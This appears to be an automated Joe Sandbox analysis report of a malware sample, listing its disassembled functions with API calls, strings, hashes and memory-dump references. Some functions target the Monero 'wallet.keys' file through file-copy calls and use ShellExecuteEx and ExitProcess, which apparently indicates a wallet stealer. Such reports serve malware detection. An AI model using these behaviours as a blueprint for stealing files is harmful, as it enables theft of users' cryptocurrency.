Opcode ID: 43a143a721ede98b13df77c48eecfd17eaccf8e2478eb25bae15d0037622f66b
Instruction ID: b10475ebc19ddf0d3021a938f6091dde85f13de78f3db2e311fb89fa9f03611c
Opcode Fuzzy Hash: 43a143a721ede98b13df77c48eecfd17eaccf8e2478eb25bae15d0037622f66b
Instruction Fuzzy Hash: 7C019075500208FFCB04DFECC988EAE7BB9EB48355F548548F90A9B345C671AA40DBA2

Function 00ADC84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 00ADC8EC
___crtLCMapStringA.LIBCMT ref: 00ADC90C
___crtLCMapStringA.LIBCMT ref: 00ADC931

Strings

, xrefs: 00ADC896

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: c9af29dd5a0c1bc87ed85ae3b68a4e51a370606276bf0efa9c4f7778bbb1126f
Instruction ID: 29a9dc5b140226ec07787437330b4ec2102146836ecfd03d75d470bf1a471c39
Opcode Fuzzy Hash: c9af29dd5a0c1bc87ed85ae3b68a4e51a370606276bf0efa9c4f7778bbb1126f
Instruction Fuzzy Hash: 044136B110079D5EDB218B24CD94FFBBBF89F05718F5844EAE98B86282D2719B44DF20

Function 00AD6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00AD6663

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Part of subcall function 00ADA9B0: lstrlen.KERNEL32(?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00ADA9C5
Part of subcall function 00ADA9B0: lstrcpy.KERNEL32(00000000), ref: 00ADAA04
Part of subcall function 00ADA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00ADAA12

Part of subcall function 00ADA8A0: lstrcpy.KERNEL32(?,00AE0E17), ref: 00ADA905

ShellExecuteEx.SHELL32(0000003C), ref: 00AD6726
ExitProcess.KERNEL32 ref: 00AD6755

Strings

<, xrefs: 00AD66D9

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 4543fd23292cddaf55b80d7290f171f38dbd6cd931d525d20cfa9b5da6076215
Instruction ID: 4f364a457243d7b56863f6aef8073e4e878f94fb870e17a64a2b8592e6f57ea1
Opcode Fuzzy Hash: 4543fd23292cddaf55b80d7290f171f38dbd6cd931d525d20cfa9b5da6076215
Instruction Fuzzy Hash: 83314FB1801318ABDB14EB50DD95FDD7778AF54300F40518AF20AA7291DF746B48CF6A

Function 00AD87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00AE0E28,00000000,?), ref: 00AD882F
RtlAllocateHeap.NTDLL(00000000), ref: 00AD8836
wsprintfA.USER32 ref: 00AD8850

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Strings

%dx%d, xrefs: 00AD8847

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 26ac37edd40dc093c0ef136ac7464fc4d8bb9981babba976f45ad941e9ad34ef
Instruction ID: 119c9b3fb27bfb52c52f8d04266ba9b7d054530cf725a5ace0ad27b109725124
Opcode Fuzzy Hash: 26ac37edd40dc093c0ef136ac7464fc4d8bb9981babba976f45ad941e9ad34ef
Instruction Fuzzy Hash: 5B21EDB1A40308ABDB04DF98DD45FAEBBB8FB48711F104519F609E7380C77999018BA1

Function 6CBF8CF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CBF8D02
moz_xmalloc.MOZGLUE(00000080,?,6CBFD9A8), ref: 6CBF8D38
InitializeConditionVariable.KERNEL32(00000000,?,?,?,6CBFD9A8), ref: 6CBF8D59

Strings

7S+Y/, xrefs: 6CBF8CF8

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: ConditionCurrentInitializeThreadVariablemoz_xmalloc
String ID: 7S+Y/
API String ID: 3275805834-4163584386
Opcode ID: 210901188cbf4d6342c167fa631e91bc9a959e9df749c5125b6e9aef9fead796
Instruction ID: db8b7190977b97fbb53e541bc4ae6e87118a493b62ad97fb5ca816beeab46f55
Opcode Fuzzy Hash: 210901188cbf4d6342c167fa631e91bc9a959e9df749c5125b6e9aef9fead796
Instruction Fuzzy Hash: 35219274B007558FDB20DF2AD4446AAB7F1FF9A304B10892ED48A97B50EB71B449CB91

Function 6CC1B4C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000002,?,6CBC0A40), ref: 6CC1B52D
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000000,00000002,?,6CBC0A40), ref: 6CC1B556
__Init_thread_footer.LIBCMT ref: 6CC1B569

Strings

7S+Y/, xrefs: 6CC1B4CB

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: InfoInit_thread_footerProtectSystemVirtual
String ID: 7S+Y/
API String ID: 1391590832-4163584386
Opcode ID: e900222dccff4a5bed19a87902b8fdb64781e307ded517b4c7af8950cecc9c19
Instruction ID: 82367e61f42a378b45101bdc1b20bd6e91c2b3d7c3878b02b26bf7940131208a
Opcode Fuzzy Hash: e900222dccff4a5bed19a87902b8fdb64781e307ded517b4c7af8950cecc9c19
Instruction Fuzzy Hash: 6B119371604605EFCB14DFAAE89099AB7F5FB4E314B044969E80947B41E331B805DF92

Function 6CBF3CF0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CBF3D19
mozalloc_abort.MOZGLUE(?), ref: 6CBF3D6C

Strings

7S+Y/, xrefs: 6CBF3CFE
d, xrefs: 6CBF3D58

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: 7S+Y/$d
API String ID: 3471241338-4068484604
Opcode ID: ace6b26af55a905905f65324b2cb47bf6e074c8a79330a9e5f62046b799dbe01
Instruction ID: bb6cc72af7b912d84735ea17e5876d1ee466d021b7f8eb08c15bb3ec337a839e
Opcode Fuzzy Hash: ace6b26af55a905905f65324b2cb47bf6e074c8a79330a9e5f62046b799dbe01
Instruction Fuzzy Hash: D6112739E047D8DBDB008B6DDC144EDB775EF9A318B448218DC5897702EB30A9C9C7A2

Function 6CBFF410 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBC4A68), ref: 6CBF945E
Part of subcall function 6CBF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CBF9470
Part of subcall function 6CBF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CBF9482
Part of subcall function 6CBF9420: __Init_thread_footer.LIBCMT ref: 6CBF949F

GetCurrentThreadId.KERNEL32 ref: 6CBFF440
AcquireSRWLockExclusive.KERNEL32(6CC3F4B8), ref: 6CBFF44D
ReleaseSRWLockExclusive.KERNEL32(6CC3F4B8), ref: 6CBFF472
GetCurrentThreadId.KERNEL32 ref: 6CBFF489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CBFF491
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CBFF4A8

Part of subcall function 6CBFF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CBFF09B
Part of subcall function 6CBFF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CBFF0AC
Part of subcall function 6CBFF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CBFF0BE

Part of subcall function 6CBECBE8: GetCurrentProcess.KERNEL32(?,6CBB31A7), ref: 6CBECBF1
Part of subcall function 6CBECBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CBB31A7), ref: 6CBECBFA

GetCurrentThreadId.KERNEL32 ref: 6CBFF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CBFF561
GetCurrentThreadId.KERNEL32 ref: 6CBFF577
AcquireSRWLockExclusive.KERNEL32(6CC3F4B8), ref: 6CBFF585
ReleaseSRWLockExclusive.KERNEL32(6CC3F4B8), ref: 6CBFF5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6CBFF499
7S+Y/, xrefs: 6CBFF07C, 6CBFF1BA, 6CBFF32A, 6CBFF41A
[I %d/%d] profiler_pause_sampling, xrefs: 6CBFF3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CBFF56A
[I %d/%d] profiler_resume, xrefs: 6CBFF239

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: Current$ExclusiveLockThread$Timegetenv$AcquireProcessReleaseStampV01@@Value@mozilla@@_getpid$?profiler_time@baseprofiler@mozilla@@Init_thread_footerNow@Stamp@mozilla@@TerminateV12@_
String ID: 7S+Y/$[D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 200552284-917700370
Opcode ID: 5e1f0b3a9cde36f823e37f55fcccf5d5fd0e0a9c65afcd29ac2c3ad46e47de59
Instruction ID: 349eb9329be12a52f5e25e6bc9bcf1644d1b5ba763664330e9afb7e9faf618e5
Opcode Fuzzy Hash: 5e1f0b3a9cde36f823e37f55fcccf5d5fd0e0a9c65afcd29ac2c3ad46e47de59
Instruction Fuzzy Hash: B9F09631600654CFDB209F69B41439977B4EB4A368F400599F9A993F82D7301809C7AA

Function 00AD8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00AD951E,00000000), ref: 00AD8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00AD8D62
wsprintfW.USER32 ref: 00AD8D78

Strings

%hs, xrefs: 00AD8D6F

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 27adfff517335a6467ee5f41ed77bef647ba8fb399c35d82ab30cddac8613203
Instruction ID: 2340065261e1b620978eca21b1ca76a5d40e8b582c101c216720aa6ade258e2c
Opcode Fuzzy Hash: 27adfff517335a6467ee5f41ed77bef647ba8fb399c35d82ab30cddac8613203
Instruction Fuzzy Hash: CEE0ECB5A40308BBD710DBA8DD0AF6977B8EB44702F008199FD0DD7380DA719E109BA6

Function 6CC0CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CBFDA31,00100000,?,?,00000000,?), ref: 6CC0CDA4

Part of subcall function 6CBCCA10: malloc.MOZGLUE(?), ref: 6CBCCA26

Part of subcall function 6CC0D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CC0CDBA,00100000,?,00000000,?,6CBFDA31,00100000,?,?,00000000,?), ref: 6CC0D158
Part of subcall function 6CC0D130: InitializeConditionVariable.KERNEL32(00000098,?,6CC0CDBA,00100000,?,00000000,?,6CBFDA31,00100000,?,?,00000000,?), ref: 6CC0D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CBFDA31,00100000,?,?,00000000,?), ref: 6CC0CDC4

Part of subcall function 6CC07480: ReleaseSRWLockExclusive.KERNEL32(?,6CC115FC,?,?,?,?,6CC115FC,?), ref: 6CC074EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CBFDA31,00100000,?,?,00000000,?), ref: 6CC0CECC

Part of subcall function 6CBCCA10: mozalloc_abort.MOZGLUE(?), ref: 6CBCCAA2

Part of subcall function 6CBFCB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CC0CEEA,?,?,?,?,00000000,?,6CBFDA31,00100000,?,?,00000000), ref: 6CBFCB57
Part of subcall function 6CBFCB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CBFCBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CC0CEEA,?,?), ref: 6CBFCBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CBFDA31,00100000,?,?,00000000,?), ref: 6CC0D058

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: fc1d460140ffb47a62147d534dc4fcc25cb535cbf236af1626dbacf0eb3db98c
Instruction ID: 1d7ea50c7443099c357f48407182c51cb88791e01abf0b511a943fcdc1a6896d
Opcode Fuzzy Hash: fc1d460140ffb47a62147d534dc4fcc25cb535cbf236af1626dbacf0eb3db98c
Instruction Fuzzy Hash: 6AD16F71B04B469FD708CF28C480B99F7F1BF99308F01866DD85987712EB71A9A5CB92

Function 00ACD400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Part of subcall function 00ADA9B0: lstrlen.KERNEL32(?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00ADA9C5
Part of subcall function 00ADA9B0: lstrcpy.KERNEL32(00000000), ref: 00ADAA04
Part of subcall function 00ADA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00ADAA12

Part of subcall function 00ADA8A0: lstrcpy.KERNEL32(?,00AE0E17), ref: 00ADA905

Part of subcall function 00AD8B60: GetSystemTime.KERNEL32(00AE0E1A,01789DE8,00AE05AE,?,?,00AC13F9,?,0000001A,00AE0E1A,00000000,?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00AD8B86

Part of subcall function 00ADA920: lstrcpy.KERNEL32(00000000,?), ref: 00ADA972
Part of subcall function 00ADA920: lstrcat.KERNEL32(00000000), ref: 00ADA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00ACD481
lstrlen.KERNEL32(00000000), ref: 00ACD698
